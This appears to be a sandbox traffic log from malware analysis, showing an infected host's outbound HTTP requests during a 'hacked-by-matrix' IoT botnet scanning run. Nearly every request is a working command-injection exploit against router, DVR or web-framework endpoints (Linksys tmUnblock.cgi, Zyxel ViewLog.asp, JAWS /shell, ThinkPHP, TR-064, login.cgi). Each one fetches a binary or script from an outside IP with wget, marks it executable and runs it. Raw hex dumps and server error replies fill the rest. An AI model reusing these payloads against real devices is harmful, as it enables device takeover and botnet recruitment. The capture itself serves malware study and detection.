Mar 21, 2024 05:23:30.511959076 CET	438	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
1654	192.168.2.13	45334	200.88.44.253	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:30.536036015 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:23:30.717948914 CET	337	IN	HTTP/1.1 200 OK Content-Type:text/html; charset=UTF-8 Pragma:no-cache Cache-control:no-cache, no-store, max-age=0 Transfer-Encoding:chunked X-Frame-Options:SAMEORIGIN Connection:Keep-Alive X-XSS-Protection:1; mode=block Content-Security-Policy:default-src 'self' 'unsafe-inline' 'unsafe-eval' Content-Language:en
Mar 21, 2024 05:23:30.718084097 CET	1286	IN	Data Raw: 64 33 37 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 Data Ascii: d37<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=ut
Mar 21, 2024 05:23:30.718097925 CET	1286	IN	Data Raw: 29 20 3d 3d 20 27 3a 27 29 29 0d 0a 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 0d 0a 20 20 20 20 7d 20 20 20 20 0d 0a 20 20 20 20 0d 0a 20 20 20 20 4c 69 73 74 20 3d 20 41 64 64 72 65 73 73 2e 73 70 6c 69 Data Ascii: ) == ':')) { return false; } List = Address.split(":"); if (List.length > 8) { return false; } for (var i = 0; i < List.length; i++) { if (false == IsIPv6AddressUsh
Mar 21, 2024 05:23:30.718111038 CET	859	IN	Data Raw: 65 6c 73 65 0d 0a 7b 0d 0a 76 61 72 20 4c 69 73 74 20 3d 20 48 6f 73 74 49 6e 66 6f 2e 73 70 6c 69 74 28 22 3a 22 29 3b 0d 0a 69 66 28 4c 69 73 74 2e 6c 65 6e 67 74 68 20 3e 3d 20 33 29 0d 0a 7b 0d 0a 2f 2a 20 69 6e 63 6c 75 64 65 20 74 77 6f 20 Data Ascii: else{var List = HostInfo.split(":");if(List.length >= 3){/* include two or more than two ":" /if(true == IsIPv6AddressValid(HostInfo)){/ host string not include port */window.location="https://[" + HostInfo + "]:" + SSLPort

Session ID	Source IP	Source Port	Destination IP	Destination Port
1655	192.168.2.13	42356	172.65.153.166	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:30.561197996 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1656	192.168.2.13	59750	172.65.68.188	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:30.561273098 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1657	192.168.2.13	40074	98.183.155.35	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:30.612741947 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:23:31.308238029 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1658	192.168.2.13	41782	172.105.175.57	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:30.770775080 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:23:31.213006020 CET	115	IN	HTTP/1.1 400 Bad Request Content-Type: text/plain; charset=utf-8 Connection: close Data Raw: 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 Data Ascii: 400 Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port
1659	192.168.2.13	32842	172.67.99.43	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:30.822323084 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1660	192.168.2.13	51434	104.73.71.54	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:30.963524103 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:23:31.821595907 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:23:31.984935045 CET	437	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 215 Expires: Thu, 21 Mar 2024 04:23:31 GMT Date: Thu, 21 Mar 2024 04:23:31 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 31 3e 0a 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 50 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 37 26 23 34 36 3b 65 38 61 37 38 36 38 26 23 34 36 3b 31 37 31 30 39 39 35 30 31 31 26 23 34 36 3b 30 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Bad Request</TITLE></HEAD><BODY><H1>Bad Request</H1>Your browser sent a request that this server could not understand.<P>Reference #7.e8a7868.1710995011.0</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1661	192.168.2.13	60490	44.231.141.71	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:30.973998070 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1662	192.168.2.13	48392	69.30.253.125	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:31.319066048 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:23:32.172221899 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:23:32.324109077 CET	449	IN	HTTP/1.1 400 Bad Request Date: Thu, 21 Mar 2024 04:23:32 GMT Server: Apache/2.4.52 (Unix) OpenSSL/1.0.2k-fips PHP/7.3.33 Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1663	192.168.2.13	54516	88.219.45.1	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:31.509423018 CET	325	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:23:31.676655054 CET	110	IN	HTTP/1.0 404 Content-Type: text/html Data Raw: 3c 62 6f 64 79 3e 3c 68 31 3e 48 54 54 50 2f 31 2e 30 20 34 30 34 20 d5 d2 b2 bb b5 bd b6 d4 cf f3 0a 3c 2f 68 31 3e 3c 2f 62 6f 64 79 3e Data Ascii: <body><h1>HTTP/1.0 404 </h1></body>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1664	192.168.2.13	58664	172.87.195.124	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:31.665040016 CET	110	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1665	192.168.2.13	58076	172.65.46.118	55555

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:31.732507944 CET	438	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
1666	192.168.2.13	43546	63.133.233.198	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:32.583492041 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:23:32.682183981 CET	104	IN	HTTP/1.1 405 Method Not Allowed Server:CPE-3.6.13 Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
1667	192.168.2.13	43552	63.133.233.198	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:32.682251930 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:23:32.783359051 CET	104	IN	HTTP/1.1 405 Method Not Allowed Server:CPE-3.6.13 Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
1668	192.168.2.13	58416	83.169.38.45	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:32.925935030 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:23:33.869555950 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save

Session ID	Source IP	Source Port	Destination IP	Destination Port
1669	192.168.2.13	56536	212.8.251.9	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.183410883 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:23:34.124458075 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:23:34.294878006 CET	355	IN	HTTP/1.1 400 Bad Request Server: nginx/1.10.3 (Ubuntu) Date: Thu, 21 Mar 2024 04:23:34 GMT Content-Type: text/html Content-Length: 182 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 30 2e 33 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.10.3 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1670	192.168.2.13	58174	212.37.83.243	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.193569899 CET	228	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix

Session ID	Source IP	Source Port	Destination IP	Destination Port
1671	192.168.2.13	37024	136.159.73.167	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.309156895 CET	228	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:23:34.060239077 CET	228	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:23:34.956491947 CET	228	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:23:36.720216036 CET	228	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:23:40.208219051 CET	228	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:23:47.372206926 CET	228	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix

Session ID	Source IP	Source Port	Destination IP	Destination Port
1672	192.168.2.13	38568	212.42.173.113	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.328562021 CET	228	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:23:33.490731955 CET	521	IN	HTTP/1.1 404 Not Found Vary: Accept-Encoding X-Frame-Options: SAMEORIGIN Content-Type: text/html X-Content-Type-Options: nosniff Date: Thu, 21 Mar 2024 04:13:36 GMT Cache-Control: no-cache Content-Length: 223 X-XSS-Protection: 1; mode=block Connection: Keep-Alive Accept-Ranges: bytes Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 68 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 34 20 2d 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 70 72 65 3e 3c 2f 70 72 65 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><head> <title>Not Found</title> <link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon"></head><body><h2>Access Error: 404 -- Not Found</h2><pre></pre></body></html>
Mar 21, 2024 05:23:33.963265896 CET	521	IN	HTTP/1.1 404 Not Found Vary: Accept-Encoding X-Frame-Options: SAMEORIGIN Content-Type: text/html X-Content-Type-Options: nosniff Date: Thu, 21 Mar 2024 04:13:36 GMT Cache-Control: no-cache Content-Length: 223 X-XSS-Protection: 1; mode=block Connection: Keep-Alive Accept-Ranges: bytes Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 68 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 34 20 2d 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 